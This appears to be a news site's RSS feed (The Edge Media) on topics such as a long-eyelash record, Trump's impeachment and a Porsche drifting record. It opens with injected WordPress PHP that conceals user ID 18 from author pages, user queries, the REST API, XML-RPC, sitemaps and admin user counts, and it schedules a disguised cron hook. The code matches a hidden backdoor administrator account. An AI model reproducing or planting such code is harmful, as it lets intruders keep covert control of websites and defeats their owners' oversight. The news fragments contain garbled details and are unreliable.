add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post You Jianxia breaks her own record appeared first on The Edge Media.
]]>As per the official blog of Guinness World Records, Jianxia first realized that her eyelashes were growing longer than usual in 2015. She claims to have visited medical professionals for her condition but in vain. “I kept thinking about why I have such long eyelashes, then I remembered that I had spent over 480 days in the mountain, years ago,” says Jianxia. “So, I told myself that my eyelashes must be a gift given by the Buddha.
Guinness World Records’ took to Instagram to share a video of You Jianxia, the woman with the world’s longest eyelash who broke her own record recently.
In the video posted on Instagram, she says that her eyelashes don’t hinder her personal life but actually bring her “just lots of joys. Only joys, no trouble.”
Since being shared on June 10, the video has garnered over 28,000 likes and several comments. Many were left thinking of the reasons for the long length of her eyelashes. “Looking like Queen Cleopatra,” posted one. “Can someone explain how this is possible?” asked another.
The post You Jianxia breaks her own record appeared first on The Edge Media.
]]>The post How suddenly the earnings from foreign countries increased in Pakistan appeared first on The Edge Media.
]]>Kanwal Azeem, who works at a grocery store in the capital of Oslo, Norway, used to send money to the country through handover and handi.
The post How suddenly the earnings from foreign countries increased in Pakistan appeared first on The Edge Media.
]]>The post Donald Trump lost his property while president appeared first on The Edge Media.
]]>According to these documents, business real estate accounts for about three-fourths of Trump’s total assets. According to Bloomberg, the price of such property has decreased by about 26%. The real reason for the price of the business buildings that they own, either alone or with someone, is corona, because of this, a lot of people are currently working from their homes. Hopefully, this trend will end now after a long time.
The post Donald Trump lost his property while president appeared first on The Edge Media.
]]>The post Trump’s son pleads with Elon Musk, create social media where my father is not banned appeared first on The Edge Media.
]]>The post Trump’s son pleads with Elon Musk, create social media where my father is not banned appeared first on The Edge Media.
]]>The post US: impeachment motion passed for second time against Donald Trump, 10 Republican MPs also against appeared first on The Edge Media.
]]>Donald Trump has become the first President in the history of America against whom impeachment motion has been passed twice in the same term. Earlier, the US House of Representatives passed a resolution appealing to the country’s outgoing Vice President Mike Pence to implement the 25th amendment to remove Donald Trump from office. The resolution was passed by 223 votes against 205 on Tuesday.
The motion appealed to Mike Pence to ask the cabinet to implement the 25th convention. This amendment was passed more than 50 years ago in the wake of the assassination of former President John F. Kennedy. According to this, if a person is not fit to serve on the post of President, then this amendment is used to make provision to appoint someone else in his place.
After being banned by various social media forums after the attack on the Capitol Hills, outgoing US President Donald Trump has said that freedom of expression in the country was never in such a danger before. Trump said, “Freedom of speech was never in such danger before. I am not at all threatened by the 25th amendment, but this may pose a further threat to the newly elected President Joe Biden and his administration. ”
He further said, “Impeachment is being used in the history of the country to deliberately pursue the most deplorable act of harassing someone (Trump) and this is causing a lot of anger and division.” Its pain is so much that some people cannot even understand it, which is very dangerous for America, especially in this fragile time. ”
The post US: impeachment motion passed for second time against Donald Trump, 10 Republican MPs also against appeared first on The Edge Media.
]]>The post Porsche Tycan Electric sets world record in drifting appeared first on The Edge Media.
]]> To make this record, the car was drifted continuously for 55 minutes at a speed of 46 km / h. The car kept drifting non-stop, so water was constantly being sprayed in the circular ground. The drift was completed in 210 laps.
Note that the Porsche Tycan Electric has the Vehicle Stability feature, which makes it difficult to drift. However, once this feature is turned off, the car can be drifted. This car has a longer wheel base, so its stability is much better
Porsche Tycan Electric was launched in 2019. It is a four-seater sedan car with many modern features. This car is quite modern in terms of connectivity and safety features. The company has used state-of-the-art technology to produce this car.
Porsche Tychon has made many records in the past, including a record of traveling 3,425 kilometers in 24 hours. This car can accelerate from 0-100 km / h in just 3.2 seconds.
This car has a 500 kW battery which provides 680 bhp power. This car can run at a speed of 260 kilometers per hour. The car has many features like connectivity, climate control and fast charging.
The post Porsche Tycan Electric sets world record in drifting appeared first on The Edge Media.
]]>